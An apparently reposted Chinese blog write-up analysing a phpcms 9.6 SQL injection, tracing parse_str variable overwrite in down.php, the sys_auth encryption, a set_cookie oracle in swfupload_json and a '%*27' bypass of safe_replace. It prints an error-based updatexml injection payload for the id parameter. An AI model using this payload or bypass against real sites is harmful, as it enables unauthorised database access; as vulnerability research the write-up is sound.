• phpcms9.6 注入分析


    phpcms9.6 注入分析

    漏洞促发点phpcmsmodulescontentdown.php

    
        
        $a_k = trim($_GET['a_k']);
        if(!isset($a_k)) showmessage(L('illegal_parameters'));
        $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f);
        parse_str($a_k);
        if(isset($i)) $i = $id = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));
        $allow_visitor = 1;
        $MODEL = getcache('model','commons');
        $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
        $this->db->table_name = $tablename.'_data';
        $rs = $this->db->get_one(array('id'=>$id)); 
        $siteids = getcache('category_content','commons');
        $siteid = $siteids[$catid];
        $CATEGORYS = getcache('category_content_'.$siteid,'commons');
    
        $this->category = $CATEGORYS[$catid];
        $this->category_setting = string2array($this->category['setting']);
    
    

    $a_k = trim($_GET['a_k']);
    首先看到的是GET传入了一个参数只是经过了trim消除空格
    跟进看这个参数
    $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));

    经过了sys_auth处理跟进看看在/phpcms/libs/function/globals.func.php的384到430行

    
        function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
    	$ckey_length = 4;
    	$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
    	$keya = md5(substr($key, 0, 16));
    	$keyb = md5(substr($key, 16, 16));
    	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    
    	$cryptkey = $keya.md5($keya.$keyc);
    	$key_length = strlen($cryptkey);
    
    	$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    	$string_length = strlen($string);
    
    	$result = '';
    	$box = range(0, 255);
    
    	$rndkey = array();
    	for($i = 0; $i <= 255; $i++) {
    		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
    	}
    
    	for($j = $i = 0; $i < 256; $i++) {
    		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
    		$tmp = $box[$i];
    		$box[$i] = $box[$j];
    		$box[$j] = $tmp;
    	}
    
    	for($a = $j = $i = 0; $i < $string_length; $i++) {
    		$a = ($a + 1) % 256;
    		$j = ($j + $box[$a]) % 256;
    		$tmp = $box[$a];
    		$box[$a] = $box[$j];
    		$box[$j] = $tmp;
    		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    	}
    
    	if($operation == 'DECODE') {
    		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
    			return substr($result, 26);
    		} else {
    			return '';
    		}
    	} else {
    		return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
    	}
        
    
    
    • 这是一个phpcms的加密函数,这里就只是单纯的加密,没有进行安全处理

    重点是这个parse_str($a_k);

    • 好了明显的变量覆盖函数,$a_k直接GET传入除了加密没有别的处理,这就别的导致变量变成可控的了
      $rs = $this->db->get_one(array('id'=>$id));

    • 这里直接入库

    
        	function get_one($query)
    	{
    		$this->querynum++;
    	    $rs = $this->conn->Execute($query);
    		$r = $this->fetch_array($rs);
    		$this->free_result($rs);
    		return $r;
    	}
    
    
    • 这里结果被return1出来了。接下来就是看他如何加密了。

    • 比较懒直接去看别人是怎么处理的~~

    看了看veneno师傅的文章 他是直接找到一个能够返回加密数值的点

        
        public static function set_cookie($var, $value = '', $time = 0) {
        $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
        $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
        $var = pc_base::load_config('system','cookie_pre').$var;
        $_COOKIE[$var] = $value;
        if (is_array($value)) {
            foreach($value as $k=>$v) {
                setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
            }
        } else {
            setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
        }
    }
    
    
    • 然后set_cookie一般能截到cookie
    
        public function swfupload_json() {
        $arr['aid'] = intval($_GET['aid']);
        $arr['src'] = safe_replace(trim($_GET['src']));
        $arr['filename'] = urlencode(safe_replace($_GET['filename']));
        $json_str = json_encode($arr);
        $att_arr_exist = param::get_cookie('att_json');
        $att_arr_exist_tmp = explode('||', $att_arr_exist);
        if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
            return true;
        } else {
            $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
            param::set_cookie('att_json',$json_str);
            return true;            
        }
    }
    
    
    • 不过这里要绕过phpcms的安全函数
    
        function safe_replace($string) {
        $string = str_replace('%20','',$string);
        $string = str_replace('%27','',$string);
        $string = str_replace('%2527','',$string);
        $string = str_replace('*','',$string);
        $string = str_replace('"','&quot;',$string);
        $string = str_replace("'",'',$string);
        $string = str_replace('"','',$string);
        $string = str_replace(';','',$string);
        $string = str_replace('<','&lt;',$string);
        $string = str_replace('>','&gt;',$string);
        $string = str_replace("{",'',$string);
        $string = str_replace('}','',$string);
        $string = str_replace('\','',$string);
        return $string;
    }
    
    
    • 他这里把'转义了,并且把url编码两次的'也转义了。

    • 看看v师傅的黑科技&id=3%*27and updatexml(1,concat(0x7e,user((),1)%23&catid=1&m=1&modellid=1&f=1

    • 把这个url编码过后传入就绕过了waf

    • %*27这个姿势是真的骚

    • 截取到cookie后就是加密过的上面的语句直接传入就可注入了。

    总结一下

    • 因为phpcms搭建需要phpsso有点懒,没有搭建。后面复现过程只是看了一下v师傅的文章。但是这次还是给我了一些思路,首先是变量覆盖导致注入,这个没什么说的。主要是下面的加密算法,v师傅是直接找到一个返回点,比我去写脚本跑快多了~~然后就是这个waf绕过姿势,感觉以后会有用上的地方,自己还需要多测测。
  • 相关阅读:
    leetcode 114. 二叉树展开为链表
    leetcode 338. 比特位计数
    leetcode 128. 最长连续序列
    leetcode 22. 括号生成
    leetcode 200. 岛屿数量
    leetcode 70. 爬楼梯
    P6072 『MdOI R1』Path
    CF1574D The Strongest Build
    『MdOI R1』Treequery
    CF1562E Rescue Niwen!
  • 原文地址:https://www.cnblogs.com/wangshuwin/p/7493573.html
Copyright © 2020-2023  润新知